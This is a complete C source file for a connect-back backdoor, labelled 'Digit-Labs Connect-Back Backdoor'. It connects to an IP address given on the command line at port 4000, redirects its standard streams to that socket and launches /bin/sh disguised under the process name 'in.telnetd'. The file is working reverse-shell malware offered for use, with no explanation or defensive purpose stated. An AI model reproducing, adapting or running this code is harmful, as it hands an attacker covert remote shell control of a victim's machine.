#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
#include <fcntl.h>

#include <netinet/in.h>
#include <netdb.h>

int fd, sock;
int port = 4000;
struct sockaddr_in addr;

char mesg[]  = "\n[ Digit-Labs Connect-Back Backdoor ]\n    * Connected to CommandLine...\n";
char shell[] = "/bin/sh";

int main(int argc, char *argv[]) {
   while(argc<2) {
      fprintf(stderr, "\n\n %s <ip> \n\n", argv[0]);
      exit(0);
   }


   addr.sin_family = AF_INET;
   addr.sin_port = htons(port);
   addr.sin_addr.s_addr = inet_addr(argv[1]);
   fd = socket(AF_INET, SOCK_STREAM, 0);

   if(connect(fd, (struct sockaddr*)&addr, sizeof(addr))<0)printf("fucker!\n");

   send(fd, mesg, sizeof(mesg), 0);

   dup2(fd, 0); // thnx dvorak
   dup2(fd, 1);
   dup2(fd, 2);
   execl(shell, "in.telnetd", 0);


   close(fd);


   return 1;
}